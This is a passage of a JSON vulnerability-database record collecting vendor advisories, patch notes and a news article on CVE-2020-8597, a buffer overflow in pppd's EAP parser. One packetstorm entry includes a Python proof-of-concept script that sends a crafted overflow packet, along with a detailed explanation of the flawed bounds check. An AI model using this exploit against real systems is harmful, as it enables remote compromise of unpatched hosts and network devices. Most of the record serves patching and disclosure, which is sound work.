14.2 package:\n12f80bee6fccbcd6f307483218878a8f ppp-2.4.8-i586-1_slack14.2.txz\n\nSlackware x86_64 14.2 package:\n48da9ec1268dbbc5a7b4a82ce176f317 ppp-2.4.8-x86_64-1_slack14.2.txz\n\nSlackware -current package:\n1be83644da426f7fa6c2ac6b47cabdc1 n/ppp-2.4.8-i586-1.txz\n\nSlackware x86_64 -current package:\nd9c1818afcbf1a51657ee64de0bd0b38 n/ppp-2.4.8-x86_64-1.txz\n\n\nInstallation instructions:\n\nUpgrade the package as root:\n > upgradepkg ppp-2.4.8-i586-1_slack14.2.txz", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-04T22:34:55", "type": "slackware", "title": "[slackware-security] ppp", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-03-04T22:34:55", "id": "SSA-2020-064-01", "href": "http://www.slackware.com/security/viewer.php?l=slackware-security&y=2020&m=slackware-security.426655", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "f5": [{"lastseen": "2023-02-21T21:43:08", "description": "eap.c in pppd in ppp 2.4.2 through 2.4.8 has an rhostname buffer overflow in the eap_request and eap_response functions. ([CVE-2020-8597](<https://vulners.com/cve/CVE-2020-8597>))\n\nImpact\n\nThere is no impact; F5 products are not affected by this vulnerability.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-10T04:51:00", "type": "f5", "title": "pppd vulnerability CVE-2020-8597", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-03-10T04:51:00", "id": "F5:K73217235", "href": "https://support.f5.com/csp/article/K73217235", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "thn": [{"lastseen": "2022-05-09T12:38:35", "description": "[](<https://thehackernews.com/images/-862h6tNDcu4/XmFZv5bSM9I/AAAAAAAA2eQ/osXBvfXei9UtRVw3ondZaBdAGzMIAiq4ACLcBGAsYHQ/s728-e100/Point-to-Point-Protocol-daemon-vulnerability.png>)\n\nThe US-CERT today issued advisory warning users of a new dangerous 17-year-old remote code execution vulnerability affecting the **PPP daemon** (pppd) software that comes installed on almost all Linux based operating systems, as well as powers the firmware of many other networking devices. \n \nThe affected [pppd software](<https://github.com/paulusmack/ppp>) is an implementation of Point-to-Point Protocol (PPP) that enables communication and data transfer between nodes, primarily used to establish internet links such as those over dial-up modems, DSL broadband connections, and Virtual Private Networks. \n \nDiscovered by IOActive security researcher **Ilja Van Sprundel**, the critical issue is a stack buffer overflow vulnerability that exists due to a logical error in the Extensible Authentication Protocol (EAP) packet parser of the pppd software, an extension that provides support for additional authentication methods in PPP connections. \n \nThe [vulnerability](<https://www.kb.cert.org/vuls/id/782301/>), tracked as** CVE-2020-8597** with CVSS Score 9.8, can be exploited by unauthenticated attackers to remotely execute arbitrary code on affected systems and take full control over them. \n \nFor this, all an attacker needs to do is to send an unsolicited malformed EAP packet to a vulnerable ppp client or a server over a direct serial link, ISDN, Ethernet, SSH, SOcket CAT, PPTP, GPRS, or ATM networks. \n \nAdditionally, since pppd often runs with high privileges and works in conjunction with kernel drivers, the flaw could allow attackers to potentially execute malicious code with the system or root-level privileges. \n \n\"This vulnerability is due to an error in validating the size of the input before copying the supplied data into memory. As the validation of the data size is incorrect, arbitrary data can be copied into memory and cause memory corruption, possibly leading to the execution of unwanted code,\" the advisory says. \n \n\"The vulnerability is in the logic of the eap parsing code, specifically in the eap_request() and eap_response() functions in eap.c that are called by a network input handler.\" \n \n\"It is incorrect to assume that pppd is not vulnerable if EAP is not enabled or EAP has not been negotiated by a remote peer using a secret or passphrase. This is due to the fact that an authenticated attacker may still be able to send unsolicited EAP packet to trigger the buffer overflow.\" \n \n\n\n## pppd Bug: Affected Operating Systems and Devices\n\n \nAccording to the researcher, Point-to-Point Protocol Daemon versions 2.4.2 through 2.4.8 \u2014 all versions released in the last 17 years \u2014 are vulnerable to this new remote code execution vulnerability. \n \nSome of the widely-used, popular Linux distributions, listed below, have already been confirmed impacted, and many other projects are most likely affected as well. \n \n\n\n * [Debian](<https://www.debian.org/security/2020/dsa-4632>)\n * [Ubuntu](<https://people.canonical.com/~ubuntu-security/cve/2020/CVE-2020-8597.html>)\n * [SUSE Linux ](<https://www.suse.com/security/cve/CVE-2020-8597/>)\n * [Fedora](<https://access.redhat.com/security/cve/cve-2020-8597>)\n * [NetBSD](<https://cvsweb.netbsd.org/bsdweb.cgi/src/external/bsd/ppp/dist/pppd/eap.c?only_with_tag=MAIN>)\n * [Red Hat Enterprise Linux](<https://www.debian.org/security/2020/dsa-4632>)\n \nBesides this, the list of other vulnerable applications and devices (some of them listed below) that ship the pppd software is also likely extensive, opening a large attack surface for hackers. \n \n\n\n * [Cisco CallManager](<https://quickview.cloudapps.cisco.com/quickview/bug/CSCvs95534/>)\n * [TP-LINK products](<https://www.tp-link.com/en/support/faq/2803/>)\n * [OpenWRT Embedded OS](<https://openwrt.org/advisory/2020-02-21-1>)\n * [Synology products](<https://www.synology.com/en-global/security/advisory/Synology_SA_20_02>)\n \nUsers with affected operating systems and devices are advised to apply security patches as soon as possible, or when it becomes available. \n \nAt the time of writing, The Hacker News is not aware of any public proof-of-concept exploit code for this vulnerability or any in-the-wild exploitation attempts. \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-05T17:30:00", "type": "thn", "title": "Critical PPP Daemon Flaw Opens Most Linux Systems to Remote Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-03-06T14:17:40", "id": "THN:BB51ABA4A4D1478690F5C155F8B9597A", "href": "https://thehackernews.com/2020/03/ppp-daemon-vulnerability.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "altlinux": [{"lastseen": "2022-06-10T03:06:32", "description": "2.4.7-alt6 built March 13, 2020 Alexey Shabalin in task [#247576](<https://git.altlinux.org/tasks/247576/>) \n--- \nMarch 10, 2020 Alexey Shabalin \n \n \n - Fixed: CVE-2020-8597\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-13T00:00:00", "type": "altlinux", "title": "Security fix for the ALT Linux 9 package ppp version 2.4.7-alt6", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-03-13T00:00:00", "id": "9B02E5684936F41522DB633B67E34A13", "href": "https://packages.altlinux.org/en/p9/srpms/ppp/2507681926520226833", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "osv": [{"lastseen": "2022-07-21T08:17:31", "description": "\nIlja Van Sprundel discovered a buffer overflow vulnerability in ppp,\nthe Point-to-Point Protocol daemon. When receiving an EAP Request\nmessage in client mode, an attacker was able to overflow the rhostname\narray by providing a very long name. This issue is also mitigated by\nDebian's hardening build flags.\n\n\nFor Debian 8 Jessie, this problem has been fixed in version\n2.4.6-3.1+deb8u1.\n\n\nWe recommend that you upgrade your ppp packages.\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-09T00:00:00", "type": "osv", "title": "ppp - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2022-07-21T05:53:01", "id": "OSV:DLA-2097-1", "href": "https://osv.dev/vulnerability/DLA-2097-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-20T05:56:57", "description": "eap.c in pppd in ppp 2.4.2 through 2.4.8 has an rhostname buffer overflow in the eap_request and eap_response functions.", "cvss3": {}, "published": "2020-02-03T23:15:00", "type": "osv", "title": "CVE-2020-8597", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2020-8597"], "modified": "2023-06-20T05:56:37", "id": "OSV:CVE-2020-8597", "href": "https://osv.dev/vulnerability/CVE-2020-8597", "cvss": {"score": 0.0, "vector": "NONE"}}], "amazon": [{"lastseen": "2023-12-06T18:43:23", "description": "**Issue Overview:**\n\neap.c in pppd in ppp 2.4.2 through 2.4.8 has an rhostname buffer overflow in the eap_request and eap_response functions. (CVE-2020-8597)\n\n \n**Affected Packages:** \n\n\nppp\n\n \n**Note:**\n\nThis advisory is applicable to Amazon Linux 2 (AL2) Core repository. Visit this [FAQ section](<../../faqs.html#clarify-al2-advisories>) for the difference between AL2 Core and AL2 Extras advisories. \n\n \n**Issue Correction:** \nRun _yum update ppp_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n aarch64: \n \u00a0\u00a0\u00a0 ppp-2.4.5-33.amzn2.0.3.aarch64 \n \u00a0\u00a0\u00a0 ppp-devel-2.4.5-33.amzn2.0.3.aarch64 \n \u00a0\u00a0\u00a0 ppp-debuginfo-2.4.5-33.amzn2.0.3.aarch64 \n \n i686: \n \u00a0\u00a0\u00a0 ppp-2.4.5-33.amzn2.0.3.i686 \n \u00a0\u00a0\u00a0 ppp-devel-2.4.5-33.amzn2.0.3.i686 \n \u00a0\u00a0\u00a0 ppp-debuginfo-2.4.5-33.amzn2.0.3.i686 \n \n src: \n \u00a0\u00a0\u00a0 ppp-2.4.5-33.amzn2.0.3.src \n \n x86_64: \n \u00a0\u00a0\u00a0 ppp-2.4.5-33.amzn2.0.3.x86_64 \n \u00a0\u00a0\u00a0 ppp-devel-2.4.5-33.amzn2.0.3.x86_64 \n \u00a0\u00a0\u00a0 ppp-debuginfo-2.4.5-33.amzn2.0.3.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2020-8597](<https://access.redhat.com/security/cve/CVE-2020-8597>)\n\nMitre: [CVE-2020-8597](<https://vulners.com/cve/CVE-2020-8597>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-02T23:45:00", "type": "amazon", "title": "Important: ppp", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-03-06T22:35:00", "id": "ALAS2-2020-1400", "href": "https://alas.aws.amazon.com/AL2/ALAS-2020-1400.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T17:45:40", "description": "**Issue Overview:**\n\neap.c in pppd in ppp 2.4.2 through 2.4.8 has an rhostname buffer overflow in the eap_request and eap_response functions.(CVE-2020-8597)\n\n \n**Affected Packages:** \n\n\nppp\n\n \n**Issue Correction:** \nRun _yum update ppp_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n i686: \n \u00a0\u00a0\u00a0 ppp-debuginfo-2.4.5-11.9.amzn1.i686 \n \u00a0\u00a0\u00a0 ppp-2.4.5-11.9.amzn1.i686 \n \u00a0\u00a0\u00a0 ppp-devel-2.4.5-11.9.amzn1.i686 \n \n src: \n \u00a0\u00a0\u00a0 ppp-2.4.5-11.9.amzn1.src \n \n x86_64: \n \u00a0\u00a0\u00a0 ppp-2.4.5-11.9.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ppp-devel-2.4.5-11.9.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ppp-debuginfo-2.4.5-11.9.amzn1.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2020-8597](<https://access.redhat.com/security/cve/CVE-2020-8597>)\n\nMitre: [CVE-2020-8597](<https://vulners.com/cve/CVE-2020-8597>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-22T20:57:00", "type": "amazon", "title": "Important: ppp", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-06-03T17:20:00", "id": "ALAS-2020-1371", "href": "https://alas.aws.amazon.com/ALAS-2020-1371.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "alpinelinux": [{"lastseen": "2023-12-07T16:20:50", "description": "eap.c in pppd in ppp 2.4.2 through 2.4.8 has an rhostname buffer overflow in the eap_request and eap_response functions.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-03T23:15:00", "type": "alpinelinux", "title": "CVE-2020-8597", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2023-11-07T03:26:00", "id": "ALPINE:CVE-2020-8597", "href": "https://security.alpinelinux.org/vuln/CVE-2020-8597", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "suse": [{"lastseen": "2022-11-08T04:09:51", "description": "An update that fixes one vulnerability is now available.\n\nDescription:\n\n This update for ppp fixes the following security issue:\n\n - CVE-2020-8597: Fixed a buffer overflow in the eap_request and\n eap_response functions (bsc#1162610).\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.1:\n\n zypper in -t patch openSUSE-2020-286=1", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-02T00:00:00", "type": "suse", "title": "Security update for ppp (important)", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-03-02T00:00:00", "id": "OPENSUSE-SU-2020:0286-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/IXJEFTCYMG4AFN6TH2WV44JAKZ2VVI3I/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "githubexploit": [{"lastseen": "2022-08-18T14:10:36", "description": "# Point-to-Point-Protocol-Daemon-RCE-Vulnerability-CVE-2020-8597...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-12T15:55:08", "type": "githubexploit", "title": "Exploit for Classic Buffer Overflow in Point-To-Point Protocol Project Point-To-Point Protocol", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-05-12T16:20:32", "id": "492FB980-E4C9-5A5C-AF60-D60720E1BA29", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}], "packetstorm": [{"lastseen": "2020-03-20T22:54:15", "description": "", "cvss3": {}, "published": "2020-03-18T00:00:00", "type": "packetstorm", "title": "pppd 2.4.8 Buffer Overflow", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-8597"], "modified": "2020-03-18T00:00:00", "id": "PACKETSTORM:156802", "href": "https://packetstormsecurity.com/files/156802/pppd-2.4.8-Buffer-Overflow.html", "sourceData": "`# Exploit Title: (Point to Point Protocol Daemon) versions 2.4.2 through \n2.4.8 are vulnerable to buffer overflow - remote \n# Author: nu11secur1ty \n# Date: 2020-03-18 \n# Vendor: Point to Point Protocol Daemon \n# Link: \nhttps://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-8597 \n# CVE: CVE-2020-8597 \n \n \n \n[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty) \n[+] Website: https://www.nu11secur1ty.com/ \n[+] Source: readme from GitHUB \n[+] twitter.com/nu11secur1ty \n \n \n[Exploit Program Code] \n \n#!/usr/bin/python3 \n# https://kb.cert.org/vuls/id/782301/ \nfrom socket import * \n \ndef sendeth(dst, src, eth_type, payload, interface = \"eth0\"): \n\"\"\"Send raw Ethernet packet on interface.\"\"\" \n \nassert(len(src) == len(dst) == 6) # 48-bit \nassert(len(eth_type) == 2) # 16-bit \n \ns = socket(AF_PACKET, SOCK_RAW) \n \ns.bind((interface, 0)) \nreturn s.send(src + dst + eth_type + payload) \n \nif __name__ == \"__main__\": \nprint(\"Sent %d-byte Ethernet packet on eth0\" % \nsendeth(\"\\xc4\\x54\\x44\\x2b\\x90\\x86\", \n\"\\x54\\xe1\\xad\\xe8\\x4f\\x49\", \n\"\\x88\\x64\" , \n\"\\x11\\x00\" \\ \n \n\"\\x00\\x04\\x00\\x5a\\xc2\\x27\\x01\\xd3\\x00\\x58\\x04\\x12\\xef\\x0a\\x5c\\x97\" \\ \n \n\"\\x2e\\xcf\\xae\\xb3\\x30\\x73\\x10\\xe9\\x9d\\x81\\xf9\\xb0\\xde\\xcf\\x41\\x41\" \\ \n \n\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\" \\ \n \n\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\" \\ \n \n\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\" \\ \n\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\" \n)) \n \n[Product] \nPoint to Point Protocol Daemon \n \n \n[Security Issue] \nBy sending an unsolicited EAP packet to a vulnerable ppp client or server, \nan unauthenticated remote attacker could cause memory corruption in the \npppd process, which may allow for arbitrary code execution. \n \n \n[References] \nPPP is the protocol used for establishing internet links over dial-up \nmodems, DSL connections, and many other types of point-to-point links \nincluding Virtual Private Networks (VPN) such as Point to Point Tunneling \nProtocol (PPTP). The pppd software can also authenticate a network \nconnected peer and/or supply authentication information to the peer using \nmultiple authentication protocols including EAP. \nDue to a flaw in the Extensible Authentication Protocol (EAP) packet \nprocessing in the Point-to-Point Protocol Daemon (pppd), an unauthenticated \nremote attacker may be able to cause a stack buffer overflow, which may \nallow arbitrary code execution on the target system. This vulnerability is \ndue to an error in validating the size of the input before copying the \nsupplied data into memory. As the validation of the data size is incorrect, \narbitrary data can be copied into memory and cause memory corruption \npossibly leading to execution of unwanted code. \nThe vulnerability is in the logic of the eap parsing code, specifically in \nthe eap_request() and eap_response() functions in eap.c that are called by \na network input handler. These functions take a pointer and length as input \nusing the the first byte as a type. If the type is EAPT_MD5CHAP(4), it \nlooks at an embedded 1-byte length field. The logic in this code is \nintended to makes sure that embedded length is smaller than the whole \npacket length. After this verification, it tries to copy provided data \n(hostname) that is located after the embedded length field into a local \nstack buffer. This bounds check is incorrect and allows for memory copy to \nhappen with an arbitrary length of data. \nAn additional logic flaw causes the eap_input() function to not check if \nEAP has been negotiated during the Line Control Protocol (LCP) phase. This \nallows an unauthenticated attacker to send an EAP packet even if ppp \nrefused the authentication negotiation due to lack of support for EAP or \ndue to mismatch of an agreed pre-shared passphrase in the LCP phase. The \nvulnerable pppd code in eap_input will still process the EAP packet and \ntrigger the stack buffer overflow. This unverified data with an unknown \nsize can be used to corrupt memory of the target system. The pppd often \nruns with high privileges (system or root) and works in conjunction with \nkernel drivers. This makes it possible for an attacker to potentially \nexecute arbitrary code with system or root level privileges. \nThe pppd software is also adopted into lwIP (lightweight IP) project to \nprovide pppd capabilities for small devices. The default installer and \npackages of lwIP are not vulnerable to this buffer overflow. However if you \nhave used the lwIP source code and configured specifically to enable EAP at \ncompile time, your software is likely vulnerable to the buffer overflow. \nThe recommended update is available from Git repoistory \nhttp://git.savannah.nongnu.org/cgit/lwip.git. \n \n \n \nBR \n-- \n \nhiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= \nnu11secur1ty <http://nu11secur1ty.com/> \n`\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/156802/CVE-2020-8597.py.txt"}], "checkpoint_security": [{"lastseen": "2023-04-17T15:50:16", "description": "\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-19T09:05:39", "type": "checkpoint_security", "title": "Check Point Response to CVE-2020-8597 (PPP 